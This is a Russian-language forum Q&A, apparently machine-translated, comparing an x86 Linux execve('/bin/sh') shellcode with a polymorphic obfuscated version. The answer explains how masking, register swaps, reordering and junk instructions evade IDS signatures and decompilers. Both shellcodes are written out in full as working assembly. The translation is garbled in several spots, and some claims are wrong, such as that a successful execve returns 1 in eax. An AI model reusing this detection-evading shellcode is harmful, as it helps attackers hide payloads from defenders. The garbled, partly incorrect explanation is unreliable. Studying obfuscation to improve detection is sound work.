Объяснили полиморфное запутывание, используя разницу в двух кодах asm

Вот два asm-кода (скопированные с этого форума polymorphic-shellcode):

оригинальный асм перед запутыванием:

global _start
section .text
_start
    xor    eax,eax
    push   eax
    push   dword 0x68732f2f     ; //sh
    push   dword 0x6e69622f     ; /bin
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb               ; execve()
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80

пересмотренный asm после запутывания:

global _start           
section .text
_start:
    xor edx, edx            ;line 1
    push edx                ;line 2
    mov eax, 0x563ED8B7     ;line 3
    add eax, 0x12345678     ;line 4
    push eax                ;line 5
    mov eax, 0xDEADC0DE     ;line 6
    sub eax, 0x70445EAF     ;line 7
    push eax                ;line 8
    push byte 0xb           ;line 9
    pop eax                 ;line 10
    mov ecx, edx            ;line 11
    mov ebx, esp            ;line 12
    push byte 0x1           ;line 13
    pop esi                 ;line 14
    int 0x80                ;line 15
    xchg esi, eax           ;line 16
    int 0x80                ;line 17

Это делает четыре изменения:

1. Замаскируйте строку /bin/sh, выполняя арифметические операции вместо непосредственного помещения шестнадцатеричных значений в стек.

Q1.1: я могу понять строки с 3 по 8 (в пересмотренном asm). что значит строка 9? равняется "mov al,0xb" в оригинальном asm?

2. Используйте регистры, отличные от исходного кода, где это возможно.

Q2.1: например, строки 1 и 2 (пересмотренный asm) относится к этому?

Q2.2: я понимаю обфускацию, поскольку пусть IDS не может соответствовать ключевым словам, зачем менять регистры?

3. Изменить порядок инструкций. Не инициализируйте регистры в том же порядке перед вызовом execve.

Q3.1: я не понимаю этого. Объясните это с помощью приведенных выше двух ассм.

4. Введите несколько ненужных шагов. например: push byte 0x1; поп еси; xchg esi,eax вместо вызова eax после выполнения первой инструкции int 0x80.

Q4.1: почему в оригинальном asm есть два типа int 0x80? Я попытался удалить последний 0x80, он все еще работает. Q4.2: добавить ненужные шаги, непосредственно связанные с запутыванием??

Q5: почему в строке 10 "pop eax"?

1 ответ

Q1.1: я могу понять строки с 3 по 8 (в пересмотренном asm). что значит строка 9? равняется "mov al,0xb" в оригинальном asm?

Строка 9 и 10 до push byte 0xb, pop eaxчто, очевидно, означает mov eax,0x0000000b, Потому что x86 - это некий порядок байтов al с 0xb (а остальная часть eax зарегистрироваться с нуля). Так что это на самом деле заменяет xor eax,eax / mov al,0xb сочетание.

push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax  -> mov eax,[ss:esp]        ; ergo eax = 0x0000000b

Q2.2: я понимаю обфускацию, поскольку пусть IDS не может соответствовать ключевым словам, зачем менять регистры?

Многие компиляторы используют регистры более или менее стандартным способом. Продвинутая программа, такая как IDA-pro (или IDS), может использовать эти знания, чтобы декомпилировать сборку обратно в читаемый исходный код, при условии, что она может определить точную версию компилятора, использованную для создания программы. Путем смешивания регистров декомпилятору становится труднее переводить код сборки в исходный код более высокого уровня (псевдо). То же самое касается IDS, который использует известные фрагменты кода, чтобы определить, какие действия выполняет программа.

Изменить порядок инструкций. Не инициализируйте регистры в том же порядке перед вызовом execve. Q3.1: я не понимаю этого. Объясните это с помощью приведенных выше двух ассм.

Если вы используете системные вызовы, относительно легко определить, какие действия выполняет приложение. Linux (например) хранит вызов # в eax и каждый вызов имеет определенные параметры в заранее определенных регистрах. Путем затруднения для программы анализа определить ценность eax становится неясно, какой системный вызов выполняется. Без этого знания значение других регистров (читай: параметры) не может быть известно. Если вы заполняете также неиспользуемые регистры бессмысленными значениями, то все становится еще труднее интерпретировать.

Обфускатор не хочет, чтобы вы знали, что он вызывает системный вызов #11 (execve). Единственный способ сделать это - попытаться загрузить eax с 0xb в обходной манере. Если мы всегда загружаем eax последний (или первый), тогда становится легче понять, что происходит. Если мы загружаем eax используя 2 или более инструкций, и мы помещаем много несвязанных инструкций между ними, тогда становится сложнее отследить окончательное значение eax перед int 0x80 который выполняет системный вызов.

Q4.1: почему в оригинальном ассм int 0x80? Я попытался удалить последний 0x80, он все еще работает. Q4.2: добавить ненужные шаги, непосредственно связанные с запутыванием??

Нет, предыдущие системные вызовы (execve) загружаются 1 в eax после успешного возвращения. Системный вызов № 1 случается sys_exit, который чисто закрывает программу. При внедрении кода в программу байты после вставленного фрагмента являются случайным мусором, мы не хотим их выполнять и, таким образом, должны корректно выходить из потока. Призыв к sys_exit добивается этого.
Если вы соберете этот фрагмент как отдельную программу, ассемблер добавит sys_exit позвонить для вас. Вот почему удаление последнего int 0x80 кажется, не имеет значения.

Q5: почему в строке 10 "pop eax"?

Первый 0xb является pushЭд, то это popвъехал в eaxпо сути, выполняя mov eax,0xb,

Другие вопросы по тегам